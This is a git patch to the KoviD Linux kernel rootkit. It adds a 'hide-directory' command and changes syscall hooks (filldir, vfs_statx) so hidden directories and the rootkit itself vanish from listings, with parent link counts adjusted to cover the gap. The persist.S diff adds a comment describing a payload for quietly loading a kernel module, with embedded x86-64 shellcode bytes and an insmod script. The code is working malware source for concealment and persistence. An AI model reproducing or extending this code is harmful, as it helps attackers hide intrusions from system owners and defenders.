From d2360a96059d8eb70d620833f7bd6f61b61c772a Mon Sep 17 00:00:00 2001 From: JNE Date: Tue, 3 Dec 2024 17:10:21 +0000 Subject: [PATCH] stat: Now decrementing nlinks Added proc command hide-directory= At filldir fn and statx syscall it is not straightforward to know wheather a "filename" is a regular file or a directory. For us to decrement nlink kstat member, without knowing if we're handling a directory, I had to, at the moment the directory is hidden by the user check dentry with S_IFDIR, and set a boolean. This boolean is then stored and in statx syscall hook I search for the name matching inode and directory boolen. Then nlink can be decremented. --- src/fs.c | 67 ++++++++++++++++++++++++++++----------------------- src/fs.h | 5 ++-- src/kovid.c | 26 ++++++++++++++------ src/persist.S | 66 +++++++++++++++++++++++++------------------------- src/pid.c | 2 +- src/sys.c | 19 ++++++++++++--- 6 files changed, 108 insertions(+), 77 deletions(-) diff --git a/src/fs.c b/src/fs.c index 757f2f0..a586499 100644 --- a/src/fs.c +++ b/src/fs.c @@ -156,6 +156,7 @@ struct fs_file_node* fs_get_file_node(const struct task_struct *task) { static LIST_HEAD(names_node); struct hidden_names { u64 ino; + u64 ino_parent; char *name; struct list_head list; bool ro; @@ -177,43 +178,28 @@ bool fs_search_name(const char *name, u64 ino) { return false; } -/** - * find the name match, and update - * inode, type, if necessary - * this can be useful for "hide-file-anywhere" when the next - * call is statx, making data available upwards - */ -bool fs_search_and_update(const char *name, u64 ino, bool is_dir) { - bool rc = false; +int fs_is_dir_inode_hidden(const char *name, u64 ino) { struct hidden_names *node, *node_safe; + int count = 0; list_for_each_entry_safe(node, node_safe, &names_node, list) { - - /** This will match any string starting with pattern */ - if (!strncmp(node->name, name, strlen(node->name))) { - rc = true; - - if (node->is_dir != is_dir) { - prinfo("Update[is_dir] name='%s' ino=%llu is_dir=%d\n", name, ino, is_dir); - node->is_dir = is_dir; - } - if (node->ino != ino) { - prinfo("Update[ino] name='%s' ino=%llu is_dir=%d\n", name, ino, is_dir); - node->ino = ino; - } - break; - } + if (node->is_dir && ino == node->ino_parent) + count++; } - return rc; + return count; } void fs_list_names(void) { struct hidden_names *node, *node_safe; list_for_each_entry_safe(node, node_safe, &names_node, list) { - prinfo("hidden: '%s' ino=%llu directory='%s'\n", node->name, node->ino, node->is_dir ? "Yes" : "No"); + if (node->is_dir) { + prinfo("hidden: '%s' [directory] ino=%llu ino_parent=%llu\n", node->name, node->ino, node->ino_parent); + } else { + prinfo("hidden: '%s' ino=%llu\n", node->name, node->ino); + } } } -static int _fs_add_name(const char *name, bool ro, u64 ino, bool is_dir) { +static int _fs_add_name(const char *name, bool ro, u64 ino, u64 ino_parent, bool is_dir) { size_t len; if (!name) @@ -234,6 +220,7 @@ static int _fs_add_name(const char *name, bool ro, u64 ino, bool is_dir) { hn->ro = ro; hn->ino = ino; hn->is_dir = is_dir; + hn->ino_parent = ino_parent; /** the gap caused by banned words * is the most fun */ @@ -247,15 +234,15 @@ static int _fs_add_name(const char *name, bool ro, u64 ino, bool is_dir) { } int fs_add_name_ro(const char *name, u64 ino) { - return _fs_add_name(name, true, ino, false); + return _fs_add_name(name, true, ino, 0, false); } int fs_add_name_rw(const char *name, u64 ino) { - return _fs_add_name(name, false, ino, false); + return _fs_add_name(name, false, ino, 0, false); } -int fs_add_name_rw_dir(const char *name, u64 ino, bool is_dir) { - return _fs_add_name(name, false, ino, is_dir); +int fs_add_name_rw_dir(const char *name, u64 ino, u64 ino_parent, bool is_dir) { + return _fs_add_name(name, false, ino, ino_parent, is_dir); } bool fs_del_name(const char *name) { @@ -292,6 +279,26 @@ void fs_names_cleanup(void) { } } +static struct inode *_fs_get_parent_inode(struct path *file_path) { + struct dentry *parent_dentry; + if (!file_path) { + prerr("%s: invalid argument: %p\n", __FUNCTION__, file_path); + return NULL; + } + + parent_dentry = dget_parent(file_path->dentry); + if (parent_dentry) + return parent_dentry->d_inode; + return NULL; +} + +u64 fs_get_parent_inode(struct path *file_path) { + struct inode *inode = _fs_get_parent_inode(file_path); + if (inode) + return inode->i_ino; + return 0; +} + struct file *fs_kernel_open_file(const char *name) { struct file *filp; diff --git a/src/fs.h b/src/fs.h index 934891b..868b888 100644 --- a/src/fs.h +++ b/src/fs.h @@ -26,12 +26,13 @@ bool fs_search_name(const char *, u64); void fs_list_names(void); int fs_add_name_ro(const char *, u64); int fs_add_name_rw(const char *, u64); -int fs_add_name_rw_dir(const char *, u64, bool); -bool fs_search_and_update(const char *, u64, bool); +int fs_add_name_rw_dir(const char *, u64, u64, bool); bool fs_del_name(const char *); void fs_names_cleanup(void); struct fs_file_node *fs_load_fnode(struct file *); struct file *fs_kernel_open_file(const char *); +u64 fs_get_parent_inode(struct path *); +int fs_is_dir_inode_hidden(const char *name, u64 ino); #if LINUX_VERSION_CODE >= KERNEL_VERSION(4,14,0) ssize_t fs_kernel_write_file(struct file *, const void *, size_t, loff_t *); diff --git a/src/kovid.c b/src/kovid.c index e61ddf6..342beca 100644 --- a/src/kovid.c +++ b/src/kovid.c @@ -431,6 +431,7 @@ enum { /** file stealth operations */ Opt_hide_file, + Opt_hide_directory, Opt_hide_file_anywhere, Opt_list_hidden_files, Opt_unhide_file, @@ -451,6 +452,7 @@ static const match_table_t tokens = { {Opt_unhide_module, "unhide-lkm=%s"}, {Opt_hide_file, "hide-file=%s"}, + {Opt_hide_directory, "hide-directory=%s"}, {Opt_hide_file_anywhere, "hide-file-anywhere=%s"}, {Opt_list_hidden_files,"list-hidden-files"}, {Opt_unhide_file, "unhide-file=%s"}, @@ -517,31 +519,41 @@ static ssize_t write_cb(struct file *fptr, const char __user *user, if (fs_kern_path(s, &path) && fs_file_stat(&path, &stat)) { /** It is filename, no problem because we have path.dentry */ const char *f = kstrdup(path.dentry->d_name.name, GFP_KERNEL); - bool is_dir = ((stat.mode & S_IFMT) == S_IFDIR); - path_put(&path); - fs_add_name_rw_dir(f, stat.ino, is_dir); + fs_add_name_rw(f, stat.ino); kv_mem_free(&f); } else { if (*s != '.' && *s != '/') { - /** add with unknown inode number */ fs_add_name_rw(s, stat.ino); } } } break; - case Opt_hide_file_anywhere: + case Opt_hide_directory: { char *s = args[0].from; - struct kstat stat; + struct kstat stat = {0}; struct path path; if (fs_kern_path(s, &path) && fs_file_stat(&path, &stat)) { + /** It is filename, no problem because we have path.dentry */ + const char *f = kstrdup(path.dentry->d_name.name, GFP_KERNEL); bool is_dir = ((stat.mode & S_IFMT) == S_IFDIR); - fs_add_name_rw_dir(s, 0, is_dir); + u64 parent_inode = fs_get_parent_inode(&path); + fs_add_name_rw_dir(f, stat.ino, parent_inode, is_dir); + path_put(&path); + kv_mem_free(&f); + } else { + if (*s != '.' && *s != '/') { + /** add with unknown inode number */ + fs_add_name_rw(s, stat.ino); + } } } break; + case Opt_hide_file_anywhere: + fs_add_name_rw(args[0].from, 0); + break; case Opt_list_hidden_files: fs_list_names(); break; diff --git a/src/persist.S b/src/persist.S index 6769c8e..ff135ff 100644 --- a/src/persist.S +++ b/src/persist.S @@ -1,36 +1,36 @@ -# BSD 3-Clause License -# -# Copyright (c) 2024, Carlos Carvalho -# All rights reserved. -# -# Redistribution and use in source and binary forms, with or without -# modification, are permitted provided that the following conditions are met: -# -# 1. Redistributions of source code must retain the above copyright notice, this -# list of conditions and the following disclaimer. -# -# 2. Redistributions in binary form must reproduce the above copyright notice, -# this list of conditions and the following disclaimer in the documentation -# and/or other materials provided with the distribution. -# -# 3. Neither the name of the copyright holder nor the names of its -# contributors may be used to endorse or promote products derived from -# this software without specific prior written permission. -# -# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" -# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE -# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE -# DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE -# FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL -# DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR -# SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER -# CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, -# OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -# OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. -# © 2022 GitHub, Inc. -# Terms -# Privacy -# Security +/** + * Linux Kernel version <= 5.8.0 + * - hash + * + * KoviD rootkit + * + * This code is designed to serve as the payload for Volundr. + * + * While it can be readily customized to execute other commands, + * its primary purpose is to load a Linux Kernel Module (LKM) quietly. + * + * Make sure to read this! You will need the 'loadmodule.sh' script: + * + * ---snip--- + * #!/bin/bash + * /sbin/insmod $1 2>/dev/null + * ---snip--- + * + * \x50\x51\x52\x56\x57\x41\x53\xb8\x39\x00\x00\x00\x0f\x05\x83\xf8\x00\x75 + * \x31\x48\x8d\x05\xb9\x00\x00\x00\x48\x8d\x3d\xa6\x00\x00\x00\x48\x31\xd2 + * \x52\x50\x57\x48\x89\xe6\x48\xc7\xc0\x3b\x00\x00\x00\x48\x8d\x3d\x8f\x00 + * \x00\x00\x48\xc7\xc2\x00\x00\x00\x00\x0f\x05\x48\x31\xc0\xb8\x02\x00\x00 + * \x00\x48\x8d\x3d\x8f\x00\x00\x00\x48\xc7\xc6\x00\x00\x00\x00\x0f\x05\x48 + * \x83\xec\x10\x48\x89\xc7\xb8\x00\x00\x00\x00\x48\x89\xe6\x48\xc7\xc2\x11 + * \x00\x00\x00\x0f\x05\x48\xc7\xc1\x12\x00\x00\x00\xb0\x2d\x48\x89\xe7\xfc + * \xf2\xae\x49\xc7\xc5\x11\x00\x00\x00\x49\x29\xcd\x4c\x89\xe9\x48\x31\xdb + * \x48\x89\xe6\x48\x89\xf7\xfc\xac\x3c\x39\x7e\x04\x2c\x57\xeb\x02\x2c\x30 + * \x48\xc1\xe3\x04\x48\x09\xc3\xaa\xe2\xeb\x48\x83\xc4\x10\x49\xb8\x88\x77 + * \x66\x55\x44\x33\x22\x11\x49\x01\xd8\x41\x5b\x5f\x5e\x5a\x59\x58\x41\xff + * \xe0\x2f\x76\x61\x72\x2f\x2e\x6c\x6d\x2e\x73\x68\x2f\x76\x61\x72\x2f\x2e + * \x6b\x76\x2e\x6b\x6f\x2f\x70\x72\x6f\x63\x2f\x73\x65\x6c\x66\x2f\x6d\x61 + * \x70\x73 + */ .globl _start diff --git a/src/pid.c b/src/pid.c index 122d483..2936b0f 100644 --- a/src/pid.c +++ b/src/pid.c @@ -81,7 +81,7 @@ static int _hide_task(void *data) { prinfo("hide [%p] %s : %d\n", ht->task, ht->task->comm, ht->task->pid); - fs_add_name_rw_dir(pidnum, 0, true); + fs_add_name_rw_dir(pidnum, 0, 0 /**XXX*/, true); /** debug */ diff --git a/src/sys.c b/src/sys.c index 725e353..593bc39 100644 --- a/src/sys.c +++ b/src/sys.c @@ -742,7 +742,7 @@ static int m_filldir(struct dir_context *ctx, const char *name, int namlen,loff_ * in multiple directories, thus inode number may * be updated to the current directory being listed */ - if (fs_search_and_update(name, ino, d_type == DT_DIR)) + if (fs_search_name(name, ino)) return 0; return real_filldir(ctx, name, namlen, offset, ino, d_type); } @@ -755,12 +755,13 @@ static int (*real_filldir64)(struct dir_context *, const char *, int, loff_t, u static int m_filldir64(struct dir_context *ctx, const char *name, int namlen,loff_t offset, u64 ino, unsigned int d_type) { #endif - if (fs_search_and_update(name, ino, d_type == DT_DIR)) - goto match; + if (fs_search_name(name, ino)) + return 0; return real_filldir64(ctx, name, namlen, offset, ino, d_type); match: + prinfo("Hiding '%s' from ino=%llu\n", name, ino); return 0; } @@ -1013,15 +1014,25 @@ static long m_vfs_statx(int dfd, const char __user *filename, int flags, struct /** size is more than enough for what is needed here. */ char kernbuf[PROCNAME_MAXLEN+6] = {0}; + long rv = real_vfs_statx(dfd, filename, flags, stat, request_mask); + if (!copy_from_user((void*)kernbuf, filename, sizeof(kernbuf)-1)) { + if (strlen(kernbuf) > 0 && S_ISDIR(stat->mode)) { + int count = fs_is_dir_inode_hidden((const char *)kernbuf, stat->ino); + if (count > 0) { + prinfo("%s: file match ino=%llu nlink=%d count=%d\n", __func__, stat->ino, stat->nlink, count); + stat->nlink -= count; + } + } + /** we don't exist */ if (strstr(kernbuf, PROCNAME)) return -ENOENT; } /** return normal */ - return real_vfs_statx(dfd, filename, flags, stat, request_mask); + return rv; } /**